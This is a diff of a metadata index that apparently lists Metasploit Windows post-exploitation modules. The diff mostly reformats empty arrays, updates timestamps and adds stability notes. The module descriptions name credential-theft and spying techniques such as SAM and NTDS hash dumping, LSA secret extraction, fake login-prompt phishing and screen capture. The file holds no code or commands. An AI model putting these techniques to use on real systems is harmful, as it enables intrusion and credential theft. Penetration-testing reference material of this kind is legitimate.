"name": "Windows Gather Microsoft Office Trusted Locations", "fullname": "post/windows/gather/enum_trusted_locations", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276565,16 +278388,14 @@ "vysec " ], "description": "This module will enumerate the Microsoft Office trusted locations on the target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_trusted_locations.rb", "is_install_path": true, "ref_name": "windows/gather/enum_trusted_locations", @@ -276582,21 +278403,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_unattend": { "name": "Windows Gather Unattended Answer File Enumeration", "fullname": "post/windows/gather/enum_unattend", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276620,7 +278442,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-23 23:41:20 +0000", + "mod_time": "2025-05-21 18:27:24 +0000", "path": "/modules/post/windows/gather/enum_unattend.rb", "is_install_path": true, "ref_name": "windows/gather/enum_unattend", @@ -276628,22 +278450,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/exchange": { "name": "Windows Gather Exchange Server Mailboxes", "fullname": "post/windows/gather/exchange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276661,7 +278484,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/exchange.rb", "is_install_path": true, "ref_name": "windows/gather/exchange", @@ -276675,9 +278498,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" @@ -276697,9 +278518,7 @@ "post_windows/gather/file_from_raw_ntfs": { "name": "Windows File Gather File from Raw NTFS", "fullname": "post/windows/gather/file_from_raw_ntfs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276716,7 +278535,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-03 12:57:40 +0000", "path": "/modules/post/windows/gather/file_from_raw_ntfs.rb", "is_install_path": true, "ref_name": "windows/gather/file_from_raw_ntfs", @@ -276724,21 +278543,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/browser_history": { "name": "Windows Gather Skype, Firefox, and Chrome Artifacts", "fullname": "post/windows/gather/forensics/browser_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276746,16 +278566,14 @@ "Joshua Harper " ], "description": "Gathers Skype chat logs, Firefox history, and Chrome history data from the target machine.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/forensics/browser_history.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/browser_history", @@ -276763,21 +278581,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/duqu_check": { "name": "Windows Gather Forensics Duqu Registry Check", "fullname": "post/windows/gather/forensics/duqu_check", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276795,7 +278614,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/forensics/duqu_check.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/duqu_check", @@ -276803,21 +278622,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/enum_drives": { "name": "Windows Gather Physical Drives and Logical Volumes", "fullname": "post/windows/gather/forensics/enum_drives", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276825,16 +278645,14 @@ "Wesley McGrew " ], "description": "This module will list physical drives and logical volumes", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/forensics/enum_drives.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/enum_drives", @@ -276842,21 +278660,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/fanny_bmp_check": { "name": "FannyBMP or DementiaWheel Detection Registry Check", "fullname": "post/windows/gather/forensics/fanny_bmp_check", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276885,45 +278704,35 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/imager": { "name": "Windows Gather Forensic Imaging", "fullname": "post/windows/gather/forensics/imager", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Wesley McGrew " ], - "description": "This module will perform byte-for-byte imaging of remote disks and volumes", - "references": [ - - ], + "description": "This module will perform byte-for-byte imaging of remote disks and volumes.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/forensics/imager.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/imager", @@ -276931,21 +278740,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/nbd_server": { "name": "Windows Gather Local NBD Server", "fullname": "post/windows/gather/forensics/nbd_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276953,16 +278763,14 @@ "Wesley McGrew " ], "description": "Maps remote disks and logical volumes to a local Network Block Device server.\n Allows for forensic tools to be executed on the remote disk directly.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/forensics/nbd_server.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/nbd_server", @@ -276970,21 +278778,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/recovery_files": { "name": "Windows Gather Deleted Files Enumeration and Recovering", "fullname": "post/windows/gather/forensics/recovery_files", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277001,7 +278810,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/windows/gather/forensics/recovery_files.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/recovery_files", @@ -277009,21 +278818,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/get_bookmarks": { "name": "Bookmarked Sites Retriever", "fullname": "post/windows/gather/get_bookmarks", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277031,9 +278841,7 @@ "jerrelgordon" ], "description": "This module discovers information about a target by retrieving their bookmarked websites on Google Chrome, Opera and Microsoft Edge.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277051,27 +278859,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/hashdump": { "name": "Windows Gather Local User Account Password Hashes (Registry)", "fullname": "post/windows/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277079,16 +278879,14 @@ "hdm " ], "description": "This module will dump the local user accounts from the SAM database using the registry", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/hashdump", @@ -277096,21 +278894,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/local_admin_search_enum": { "name": "Windows Gather Local Admin Search", "fullname": "post/windows/gather/local_admin_search_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277120,16 +278919,14 @@ "Royce Davis \"r3dy\" " ], "description": "This module will identify systems in a given range that the\n supplied domain user (should migrate into a user pid) has administrative\n access to by using the Windows API OpenSCManagerA to establishing a handle\n to the remote host. Additionally it can enumerate logged in users and group\n membership via Windows API NetWkstaUserEnum and NetUserGetGroups.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/gather/local_admin_search_enum.rb", "is_install_path": true, "ref_name": "windows/gather/local_admin_search_enum", @@ -277137,21 +278934,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/lsa_secrets": { "name": "Windows Enumerate LSA Secrets", "fullname": "post/windows/gather/lsa_secrets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277159,16 +278957,14 @@ "Rob Bathurst " ], "description": "This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt\n code from cachedump.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/lsa_secrets.rb", "is_install_path": true, "ref_name": "windows/gather/lsa_secrets", @@ -277176,21 +278972,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/make_csv_orgchart": { "name": "Generate CSV Organizational Chart Data Using Manager Information", "fullname": "post/windows/gather/make_csv_orgchart", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277198,16 +278995,14 @@ "Stuart Morgan " ], "description": "This module will generate a CSV file containing all users and their managers, which can be\n imported into Visio which will render it.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/make_csv_orgchart.rb", "is_install_path": true, "ref_name": "windows/gather/make_csv_orgchart", @@ -277215,21 +279010,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/memory_dump": { "name": "Windows Process Memory Dump", "fullname": "post/windows/gather/memory_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277237,16 +279033,14 @@ "smashery" ], "description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n\n Options for DUMP_TYPE affect the completeness of the dump:\n\n \"full\" retrieves the entire process address space (all allocated pages);\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-08-24 18:04:29 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/memory_dump.rb", "is_install_path": true, "ref_name": "windows/gather/memory_dump", @@ -277257,27 +279051,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/memory_grep": { "name": "Windows Gather Process Memory Grep", "fullname": "post/windows/gather/memory_grep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277285,16 +279071,14 @@ "bannedit " ], "description": "This module allows for searching the memory space of a process for potentially\n sensitive data. Please note: When the HEAP option is enabled, the module will have\n to migrate to the process you are grepping, and will not migrate back automatically.\n This means that if the user terminates the application after using this module, you\n may lose your session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/memory_grep.rb", "is_install_path": true, "ref_name": "windows/gather/memory_grep", @@ -277302,21 +279086,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/netlm_downgrade": { "name": "Windows NetLM Downgrade Attack", "fullname": "post/windows/gather/netlm_downgrade", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277347,9 +279132,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes" ] @@ -277360,16 +279143,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/ntds_grabber": { "name": "NTDS Grabber", "fullname": "post/windows/gather/ntds_grabber", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277377,16 +279156,14 @@ "Koen Riepe (koen.riepe " ], "description": "This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.\n It compresses all these files in a cabinet file called All.cab.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/ntds_grabber.rb", "is_install_path": true, "ref_name": "windows/gather/ntds_grabber", @@ -277394,21 +279171,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/ntds_location": { "name": "Post Windows Gather NTDS.DIT Location", "fullname": "post/windows/gather/ntds_location", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277416,16 +279194,14 @@ "Stuart Morgan " ], "description": "This module will find the location of the NTDS.DIT file (from the Registry),\n check that it exists, and display its location on the screen, which is useful\n if you wish to manually acquire the file using ntdsutil or vss.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-08-20 12:16:26 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/ntds_location.rb", "is_install_path": true, "ref_name": "windows/gather/ntds_location", @@ -277433,21 +279209,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/outlook": { "name": "Windows Gather Outlook Email Messages", "fullname": "post/windows/gather/outlook", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277455,16 +279232,14 @@ "Wesley Neelen " ], "description": "This module allows reading and searching email messages from the local\n Outlook installation using PowerShell. Please note that this module is\n manipulating the victims keyboard/mouse. If a victim is active on the target\n system, he may notice the activities of this module. Tested on Windows 8.1\n x64 with Office 2013.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/outlook.rb", "is_install_path": true, "ref_name": "windows/gather/outlook", @@ -277472,6 +279247,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" @@ -277491,9 +279271,7 @@ "post_windows/gather/phish_windows_credentials": { "name": "Windows Gather User Credentials (phishing)", "fullname": "post/windows/gather/phish_windows_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277502,16 +279280,14 @@ "Matt Nelson" ], "description": "This module is able to perform a phishing attack on the target by popping up a loginprompt.\n When the user fills credentials in the loginprompt, the credentials will be sent to the attacker.\n The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/phish_windows_credentials.rb", "is_install_path": true, "ref_name": "windows/gather/phish_windows_credentials", @@ -277519,21 +279295,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/psreadline_history": { "name": "Windows Gather PSReadline History", "fullname": "post/windows/gather/psreadline_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277552,7 +279331,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/psreadline_history.rb", "is_install_path": true, "ref_name": "windows/gather/psreadline_history", @@ -277560,21 +279339,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/resolve_sid": { "name": "Windows Gather Local User Account SID Lookup", "fullname": "post/windows/gather/resolve_sid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277582,16 +279362,14 @@ "chao-mu" ], "description": "This module prints information about a given SID from the perspective\n of this session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-23 17:39:32 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/resolve_sid.rb", "is_install_path": true, "ref_name": "windows/gather/resolve_sid", @@ -277602,27 +279380,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/screen_spy": { "name": "Windows Gather Screen Spy", "fullname": "post/windows/gather/screen_spy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277633,17 +279403,15 @@ "Adrian Kubok", "DLL_Cool_J" ], - "description": "This module will incrementally take desktop screenshots from the host. This\n allows for screen spying which can be useful to determine if there is an active\n user on a machine, or to record the screen for later data extraction.\n\n Note: As of March, 2014, the VIEW_CMD option has been removed in\n favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but\n not how) the collected screenshots will be viewed from the Metasploit\n interface.", - "references": [ - - ], + "description": "This module will incrementally take desktop screenshots from the host. This\n allows for screen spying which can be useful to determine if there is an active\n user on a machine, or to record the screen for later data extraction.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/screen_spy.rb", "is_install_path": true, "ref_name": "windows/gather/screen_spy", @@ -277651,21 +279419,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/smart_hashdump": { "name": "Windows Gather Local and Domain Controller Account Password Hashes", "fullname": "post/windows/gather/smart_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277673,16 +279442,14 @@ "Carlos Perez " ], "description": "This will dump local accounts from the SAM Database. If the target\n host is a Domain Controller, it will dump the Domain Account Database using the proper\n technique depending on privilege level, OS and role of the host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/smart_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/smart_hashdump", @@ -277690,38 +279457,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/tcpnetstat": { "name": "Windows Gather TCP Netstat", "fullname": "post/windows/gather/tcpnetstat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "mubix " ], - "description": "This Module lists current TCP sessions", - "references": [ - - ], + "description": "This module lists current TCP sessions.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/tcpnetstat.rb", "is_install_path": true, "ref_name": "windows/gather/tcpnetstat", @@ -277729,21 +279495,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/usb_history": { "name": "Windows Gather USB Drive History", "fullname": "post/windows/gather/usb_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277751,16 +279518,14 @@ "nebulus" ], "description": "This module will enumerate USB Drive history on a target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/usb_history.rb", "is_install_path": true, "ref_name": "windows/gather/usb_history", @@ -277768,21 +279533,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/win_privs": { "name": "Windows Gather Privileges Enumeration", "fullname": "post/windows/gather/win_privs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277790,16 +279556,14 @@ "Merlyn Cousins " ], "description": "This module will print if UAC is enabled, and if the current account is\n ADMIN enabled. It will also print UID, foreground SESSION ID, is SYSTEM status\n and current process PRIVILEGES.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-17 12:20:49 +0000", "path": "/modules/post/windows/gather/win_privs.rb", "is_install_path": true, "ref_name": "windows/gather/win_privs", @@ -277807,21 +279571,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/wmic_command": { "name": "Windows Gather Run WMIC Commands", "fullname": "post/windows/gather/wmic_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277829,9 +279594,7 @@ "Carlos Perez " ], "description": "This module executes WMIC commands on the specified host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277849,27 +279612,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/word_unc_injector": { "name": "Windows Gather Microsoft Office Word UNC Path Injector", "fullname": "post/windows/gather/word_unc_injector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277886,7 +279641,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/word_unc_injector.rb", "is_install_path": true, "ref_name": "windows/gather/word_unc_injector", @@ -277894,14 +279649,17 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/add_user": { "name": "Windows Manage Add User to the Domain and/or to a Domain Group", @@ -277916,16 +279674,14 @@ "Joshua Abraham " ], "description": "This module adds a user to the Domain and/or to a Domain group. It will\n check if sufficient privileges are present for certain actions and run\n getprivs for system. If you elevated privs to system, the\n SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n a process that is running as system. If you don't have privs, this script\n exits.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/add_user.rb", "is_install_path": true, "ref_name": "windows/manage/add_user", @@ -277936,9 +279692,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "config-changes" @@ -277948,16 +279702,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/archmigrate": { "name": "Architecture Migrate", "fullname": "post/windows/manage/archmigrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277965,16 +279715,14 @@ "Koen Riepe (koen.riepe " ], 